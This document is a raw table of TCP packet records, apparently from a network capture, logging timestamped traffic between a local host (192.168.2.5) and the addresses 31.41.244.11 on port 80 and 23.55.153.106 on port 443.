Dec 16, 2024 09:01:33.467041016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.467752934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.467788935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.467801094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.467833042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.468528986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.468694925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.468732119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.468744040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.469329119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.469383955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.469464064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.469511032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.470310926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.470345974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.470365047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.470390081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.470993996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.471046925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.471127033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.471179962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.471772909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.471826077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.471915007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.471966028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.472657919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.472711086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.472791910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.472839117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.473561049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.473613024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.473702908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.473752975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.474482059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.474517107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.474535942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.474555016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.475222111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.475276947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.475373030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.475425959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.475971937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.476030111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.476106882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.476160049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.476869106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.476922035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.477000952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.477051020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.477606058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.477658987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.477739096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.477783918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.478387117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.478441000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.478684902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.478739977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.479453087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.479490042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.479506969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.479533911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.480125904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.480181932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.480271101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.480324030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.480998993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.481054068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.481136084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.481185913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.481743097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.481806040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.481885910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.481942892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.482537985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.482594013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.482661009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.482711077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.483000994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.483053923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.483417988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.483472109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.484601021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.484656096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.484745026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.484796047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.485459089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.485527992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.633737087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.633845091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.633899927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.633956909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.634073973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.634134054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.634255886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.634315968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.634923935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.634987116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.635072947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.635143995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.635713100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.635766029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.635778904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.635819912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.636562109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.636620045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.636679888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.636739016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.637499094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.637535095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.637561083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.637581110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.637852907 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.637916088 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.637945890 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.637960911 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.637985945 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.637996912 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.637996912 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.637999058 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.638020039 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.638053894 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.638062000 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.638072014 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.638209105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.638281107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.638329983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.638390064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.639070034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.639134884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.639143944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.639197111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.639877081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.639940023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.639964104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.640018940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.640676975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.640736103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.640799999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.640855074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.641501904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.641561985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.641633987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.641688108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.642328978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.642383099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.642388105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.642437935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.643193960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.643254995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.643342972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.643399000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.643982887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.644038916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.644103050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.644160986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.644831896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.644893885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.644974947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.645029068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.645653963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.645713091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.645760059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.645822048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.646562099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.646619081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.646671057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.646719933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.647336960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.647389889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.647412062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.647459030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.648104906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.648163080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.648226023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.648276091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.648969889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.649022102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.649101019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.649152040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.649806976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.649862051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.649878025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.649921894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.650628090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.650680065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.650682926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.650733948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.651428938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.651484013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.651546955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.651611090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.652235985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.652292967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.652358055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.652406931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.653068066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.653120041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.653182983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.653228998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.653892994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.653948069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.654011011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.654063940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.654725075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.654778957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.654869080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.654916048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.655605078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.655658007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.655658960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.655706882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.656414032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.656466007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.656532049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.656585932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.657238960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.657291889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.657329082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.657380104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.658030987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.658082008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.658170938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.658220053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.658854008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.658907890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.658971071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.659022093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.659687042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.659742117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.659821987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.659992933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.660506964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.660562992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.660640955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.660692930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.661382914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.661437988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.661470890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.661521912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.662183046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.662235975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.662300110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.662345886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.663043022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.663093090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.663189888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.663239002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.663820028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.663873911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.663937092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.663988113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.664659977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.664712906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.664791107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.664843082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.665462971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.665515900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.665579081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.665630102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.666299105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.666353941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.666419029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.666467905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.667120934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.667174101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.667224884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.667277098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.667973995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.668029070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.668062925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.668112993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.668781996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.668834925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.668898106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.668962955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.669706106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.669759035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.669780016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.669847965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.670433998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.670484066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.670568943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.670619965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.671288013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.671339989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.671406984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.671458006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.672087908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.672143936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.672229052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.672281981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.672914028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.672971010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.673031092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.673077106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.673736095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.673788071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.673852921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.673902988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.674572945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.674628973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.674694061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.674750090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.675407887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.675452948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.675502062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.675554991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.676215887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.676265955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.676330090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.676381111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.677047968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.677126884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.681337118 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.812922955 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.812937021 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.812978983 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.813035965 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.813059092 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.813128948 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.825671911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.825738907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.825886011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.825937986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.826179981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.826232910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.826287985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.826360941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.826956987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.827011108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.827013016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.827060938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.827796936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.827853918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.827898979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.827953100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.828591108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.828649998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.828713894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.828764915 CET	49866	80	192.168.2.5	31.41.244.11
